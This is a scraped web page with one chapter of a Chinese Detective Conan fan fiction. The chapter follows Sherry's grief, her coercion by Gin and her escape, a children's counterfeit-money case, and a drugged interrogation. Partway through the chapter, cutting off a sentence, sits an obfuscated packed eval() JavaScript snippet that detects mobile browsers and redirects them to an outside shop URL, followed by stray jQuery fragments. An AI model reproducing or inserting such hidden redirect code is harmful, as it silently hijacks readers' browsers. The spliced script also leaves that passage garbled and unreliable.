文趣网 > 都市小说 > 论踢便当的艺术(名柯) > 27.第 27 章
    .

    姐姐死了。

    在她终于忍不住催促琴酒兑现这个月的亲属会面时,那个残忍的男人毫不在意地告知了这样一个噩梦。

    她唯一的血缘亲人,像十二年的父母一样,再也不会、不能同她见面了。

    “你开什么玩笑!”她不可置信地抬头看向令自己无比恐惧的杀手,对方依然自持冷漠、铁石心肠,好像自己只是说了一句不能再平常的话。

    宫野志保仍抱有微末的希冀,颤抖着嗓音开口,“我知道现在的进展没有满足预期,实验室这边在努力了。请……不要拿我姐姐开玩笑。”

    “呵,”琴酒像回忆起什么露出一个残忍的笑,“你姐姐临死前,可是求我一定要放过你。为此,她不惜为组织贡献出一个叛徒。”

    “雪莉,”杀手君大度地谅解了这只笼中鸟的冒犯,“完成好你的任务,组织不养没有价值的废物。”

    说完,他体贴地离开实验室。琴酒不理解雪莉对自己那个毫无价值一心渴望些虚无缥缈意义的姐姐为何那么重视,但他愿意在不影响组织效益时给予对方一些优待。

    人总喜欢把不愿意和意外听到的噩耗称为惊雷,但宫野志保没有那样的感觉。

    她只是在口腔里感到了苦涩,四肢支撑身体的力量如退潮般消逝,她跌坐在自己的办公椅上。那是姐姐听说她需要长期坐在办公室里特意为她选的。

    宫野志保蜷缩进椅子深处,好像钻进了家人的怀抱。滚烫的泪水成线流在脸上,似江河奔腾在山川间,无休无止。

    从那天起,雪莉罢工了。

    雪莉所负责的aptx系列药物开发也陷入停摆——没有那么严重。药物的研发从来都是十几年打底的漫长过程,里面很多的步骤并不依靠个人。只有某些关键点,需要足够敏锐的科研者才能及时发现。

    “大人,aptx实验组那边负责人罢工了……”

    白大褂的研究员木着一张脸向夏布利汇报。这位德裔研究生,因为选择研究的方向太过清奇而被组织吸纳。他研究的是端粒再生,比起传统的研究如何阻止端粒损耗,这个脑洞大开的研究生认为既然癌细胞的端粒酶激活后可以令端粒完整复制,那么正常细胞要如何激活端粒酶同时不损害正常细胞凋亡功能。

    “呵,”夏布利同样一身白大褂,但他显然已经是科研老板了:不需要自己做实验,“让琴酒自己解决。”

    十二年前,或者说更早在十七年前,那件事发生后,宫野一家的管理归属权就不在实验组手里了。“柔弱、无力反抗”的实验员在这个组织里,既是核心,也是任人欺压宰割的资产。

    夏布利从来不认可琴酒的熬鹰政策,这个17岁获得代号后就极受信任且拥有掌控权的杀手,他严酷的手段折断了不少好刀。

    但夏布利是能够理解琴酒的,要完全掌控一个人,就不能以利诱,那会令人失去谨慎和膨胀。

    可对于实验员,琴酒仍使用那套酷烈的压迫。显然,脑子不算太笨的人都会生出逆骨。为了雪莉养一个宫野明美并非什么坏事,甚至可以说是极低的代价了……

    夏布利蓦然叹了口气,知道宫野一家聪明人就要团聚了。

    虚伪的人类总会坚持一些莫名其妙的东西,就为了…价值和意义。

    “如果琴酒找实验组批审讯用药不用问,直接过。”木讷的研究员等了许久正要离开,被夏布利一声吩咐定住脚步。“还有,让联络员去沟通琴酒,你做你的实验去,”说着夏布利还顺手拿起桌子上刚交上的报告啪一下砸在托比亚斯胸前。“你看看你交上来的东西,都是些什么废话!我要的是成果。”

    夏布利痛心疾首地说道:“我们是看中你的灵气与天赋才招收你进入我们组织,你就是这样敷衍了事?”

    托比亚斯面无表情地低头盯着皮鞋前端,似乎在忏悔又似乎在鄙夷。说得好听是招收,难道不是把他骗进来的吗?

    到底人在屋檐下,托比亚斯没有回嘴,只是放空大脑听着,等嘈杂的噪音停下转身离开。路过一旁的办公室,他敲敲门,走进去。

    “杰森,夏布利让你通知琴酒去解决雪莉罢工的事。”他有些可惜这个年轻的天才,但腐骨上开出的花,再美丽,根却是吸了血的。

    可惜了。

    “哦,太感谢你了,下次我请你喝咖啡吧。”杰森有些歉意开口,“你一定又被头儿骂了吧,都怪我,光想着要去和财务报销就让你顶我去告诉头儿这个坏消息了。”

    “不,不关你的事,”托比亚斯摇了摇头,“我是因为实验挨的骂。况且,是我路上碰见你主动要求的。”

    男人似乎接受托比的说法没再多说,“毕竟是开创性实验,进度慢些才正常。”杰森拍了拍青年的肩膀,“雪莉那个aptx实验甚至是她从她父母手中接下来的呢。”

    “她父母吗……”

    收到实验组发来官样文章的琴酒在晚上任务结束后直接去了雪莉宿舍。实验员没有外出住宿的权限,他们被统一安排在基地里生活。

    24小时常亮的白炽灯下,悠长的走廊上开满无数一模一样的门。S-124,杀手没有敲门的耐心,才从血火的战栗中离开的男人裹挟一身硝烟踹开了门。

    走廊一旁与对面的门都紧闭着,无需任何警告。

    宫野志保倔强地静坐在宿舍一整日了。看到雪莉一副死倔的模样,琴酒咧嘴笑了,直接让伏特加将人拉起来。钢管抵在额头,宫野志保第一次有了和杀手对视的勇气。

    森绿的眸子像狼,也像永恒飘雪的西伯利亚雪原,刺骨、冷厉还有无尽的荒芜。小宫野被那毫无人情的目光吓了一个激灵,移开了眼。

    她被带去了自己的实验室,被要求工作。

    “不,我不会继续为组织工作了。”她垂下脑袋,语气却格外坚定。

    琴酒不以为意地上下扫了眼雪莉,宫野志保下意识站直。

    “我给你半个小时,开始工作。”琴酒停顿了一下,“或者说你想成为废物。”组织里的废物只有一个下场,废物利用成为实验体或处决。

    说完,他带着伏特加走出了办公室。他知道自己的存在会给雪莉造成巨大的心理压力。

    宫野志保瘫坐在椅子上良久,拉开抽屉,将实验用aptx4869取出一粒,藏在身上。琴酒不会轻易放过她,即便是死,她也不会为这个害死姐姐的组织继续卖命!

    半个小时后回来的琴酒发现雪莉连电脑都没开机,他冷笑一声,拖着女人关进了毒气室。

    “好好反省吧,雪莉。想清楚你的答案。”

    .

    几天后,帝丹小学1年B班,本学期,又来了一位转校生。

    那是一位早熟的女孩,甚至有些奇怪。

    江户川柯南忍不住用余光去打量自己的新同桌:对方的衣服是崭新的,款式偏向成熟的风格,书包同样是簇新仿佛刚从商店货架拿出来。

    她很受欢迎,这是个客观事实。但似乎有些孤僻……

    放学时,步美和光彦格外热情地凑着灰原面前想要开启话题,然而只是徒劳。在课上已经被忽视过一次的元太则是背着手放在脑后不情不愿跟在不远处。

    “你刚搬来对不对。”光彦语气笃定。

    “你不用客气,”步美对于和一位高冷女孩子交友十分期待,“我们几个可以送你回家哦。”

    “米花町2号街22号。”灰原哀终于停下了脚步,回答着两个孩子,目光却移向身后的江户川,“那里就是,我现在住的地方。”

    熟悉的地名打断了柯南的走神,“欸?”

    “怎么了?”元太疑惑于柯南的惊讶。

    “没什么。”少年下意识地打起哈哈,心底却难掩困惑。灰原哀所说的地址就在工藤宅附近,可那附近没什么公寓或楼房……

    有姓灰原这户人家的吗?

    少年绞尽脑汁,大脑却未响应。这时,被孩子们簇拥着的女孩却回头对他神秘一笑。柯南对上视线,呆愣一瞬。

    元太从他的鞋柜鞋子里发现了委托书。是一个名为俊也的少年委托的失踪案:大他十岁的哥哥在一周前离开家后突然杳无音信。没有恐吓电话也并非离家出走。

    步美邀请了新转校生一起侦办。

    去到委托人家里,柯南发现对方遗留在家中的钱包排除了离家出走的可能性。步美找出了俊也哥哥藏在床底的仿画,之后在俊也对哥哥夏目簌石像参与画展的讲述里出现了一个黑衣女子。

    前田曾告诉柯南,那个组织的人多喜欢穿黑色服装,尤其是琴酒和伏特加……即便对方之后依然强调组织成员并没有身着黑衣的硬性要求。

    但是,前田在本周却一次都没有再出现了。邮箱、电话都无法联系,仿佛人间蒸发。

    柯南怀疑,前田是不是找到了组织线索,一个人深入调查陷进去了。就连他,也在三天前,被迫参与了那场血腥的“爱舞之宴”。

    少年宛若闻到血腥味的鲨鱼,神经瞬间兴奋起来。

    几个孩子奔出门外,在附近问询了个遍,没有一个人在一星期前见过疑似绑架犯的墨镜黑衣女。直到他们因为疲渴走进便利店,一个奇怪的男人吸引了柯南注意力。

    “既然有一千元,他大可以跟便利店的自动贩卖机买,根本没必要特意排队来买烟。”

    “我想,一定是他想买的那款烟卖完了。”光彦很快提出合理情况。

    然而情绪正上头的少年却直接跳起趴在收银台上,“姐姐,刚刚那个人,他买烟用的一千元钞票,借我看一下好吗?”

    俊也哥哥对夏目漱石像的细致描绘很轻易就让柯南联系到了□□。一头雾水的店员有些迟疑。

    男人已经离开便利店,倘若拖延,他们会错失踪迹。少年忍不住急声催促,“别想了,快让我看!”甚至直接上手抽出那张纸币。

    少年对着灯光验钞,没有浮水印,果不其然。他没有理会店员生气地抢回纸币,也没有回应一头雾水的孩子们。他跳下收银台,“你还是快点报警吧,那张是□□。”话未落地便迈步直追男人的踪迹。

    柯南没能甩掉孩子们,他只好停下脚步解释。一转眼,男人消失在小巷,但是对方发现了他们。柯南用遗失的纸币为由

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694593|205524||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    将发信器夹带其中交给了男人。

    这场跟踪,宣告失败。

    天色已晚,孩子们要归家。柯南终于寻到理由甩开孩子们,同时利用贴在纸币上的发信器追踪男人。

    然而他不知道的是,灰原哀悄然跟在他身后,另外三个则跟在了灰原身边。

    柯南牌孩子王最终不得不上线,他无法强制要求如今与他同年的孩子回家。

    孩子们将他视为同伴。

    历经波折终于找到窝点——一家新闻报社,在柯南切换身份进行报警时,三个孩子与一个假小孩却贸然闯进去寻找证据了。因为就在报社下方的警署根本不相信孩子们的报案。

    所幸,柯南足够靠谱,阿笠博士的小道具也足够优秀。他成功放倒了一名持枪劫匪并将黑衣女子缴械。

    就在柯南完成推理,踢倒另一名劫匪时,黑衣女子去抢夺掉落在地上的手枪却被那名神秘转校生率先捡起,并朝女人开了一枪。

    没有伤人,但打碎了玻璃。黑衣女子完全被吓傻了。楼下的民警听见枪响,迅速响应,直奔二楼。

    想起前田反复的告诫,柯南忍下了质询的欲望。他知道这个女人落入警方手里,自不可能轻易脱身,同时他以工藤新一的身份反而能获得更多的内部消息。

    然而姗姗来迟的目暮警官却直接了当告诉柯南,这个女人是惯犯。与组织毫无关联。

    一场乌龙,但,至少俊也的哥哥今晚能够回家了。

    “还有你,怎么能做开枪这么危险的事情!”目暮感觉自己的警徽一闪一闪,一口气差点上不来。

    刚刚还一脸镇静的神秘转校生却双手捂脸,呜呜哭起来。

    漫天星子耀眼,柯南陪着被训哭的女孩回家。那个女孩,灰原哀,或者说雪莉,却开始了她的表演。

    一场名为试探、毫不真诚的恐吓。

    .

    雪莉叛逃了。

    这是组织里最大的新闻,相对于前不久一个胆大妄为的底层人员叛变,这令BOSS格外恼怒。一场自上而下的浩浩荡荡清洗启动了,对于琴酒来说,前者是他的污点,后者是他的狩猎。

    烈火撩过肺部,每一次呼吸带着火辣辣的热情,失血带来的冷颤和模糊一股脑冲向白州。

    这是琴酒的公报私仇。

    鼻腔里涌进来都是带着铁锈味的腥臭,口腔里像含了一嘴巴刀片,手铐的存在令他不得不直起上半身靠在管道上。

    他这个级别的成员本无法受到那么严苛的对待,可惜他是琴酒看上的鹰犬。BOSS未必不期待那身傲骨寸寸碎裂的模样,况且归属于琴酒与归属组织没有太大分别。

    上次说到,行动组是BOSS立起来的靶子。这样的断言存在些许偏颇,换而言之,行动组是在琴酒的带领下逐渐占领了黑暗世界的龙头地位。组织的本质是药物研究妄想,以往也多少以利诱政商为基底,而行动组是他们脱离权贵钳制的枪杆子。

    所以雪莉只是组织的资产,琴酒却是组织的利刃和主人。

    白州的鼻尖溢出汗,黏腻的感觉令他皱起眉。然而青年处于一种半梦半醒的状态:手脚的存在与脑神经链接着,却无法操控;眼皮掀开一条缝似无法支撑,但意识却极其清醒。

    “对于雪莉的叛逃,你帮忙了吗?”审讯官开口,当然不是杀手君。

    琴酒只是借机发挥,他要等一个时机,成为白州“救世主”的时机。白州一言不发,他们都清楚这场不合规的审讯是琴酒的熬打。猎鹰的驯化过程,简单却有效。

    就在这时,一抹银色的长发突兀垂在身前,“放开他。”熟悉的声音,打破静止、血腥、死寂的对抗。

    戴着黑色皮质手套的手捏起青年的下巴,琴酒发出意味不明的轻嗤。审讯官格外有眼力见地退出房间甚至贴心关好门,他并不在乎正在做任务的杀手大人是如何跨越两百公里瞬移回组织基地的。

    意识从污浊不堪的泥泞里迅速下沉,咚一声像块石子砸破水面。

    “贝尔摩德。”铁板烧在眼睛里翻烙,青年用虚弱的气音开口。

    “啊呀呀,”披着琴酒皮的不老魔女笑呵呵用指腹抹去青年的冷汗。组织不会对自己人动刑,但令人痛苦的药物并不在少。

    “认出我啦,亲爱的小叶尔达。”

    这是他在弗吉尼亚第一次为组织做任务时使用的假名,还是次抛的。

    “你想要什么。”白州问。

    “有只FBI的小猫咪缠上我了,”她轻描淡写地说着近来遭受的围剿,“帮我去会会你的老朋友吧。”

    FBI的老朋友,那么只有当年把他从池子里捞出来的詹姆斯探员了。是那个詹姆斯吗?

    白州没有迅速应答,他的处境并没有困难到需要接下任何人的橄榄枝。何况,那些只是慢性毒药。

    “放心好了,”千面魔女兢兢业业地使用琴酒冷酷无情的声音说着娇俏的话,“不需要你为任务负责哦。”

    “我要吐了。”

    真正的琴酒推开门,上了膛的枪迸出火花,一枪射穿悬顶的白炽灯。

    示威和警告。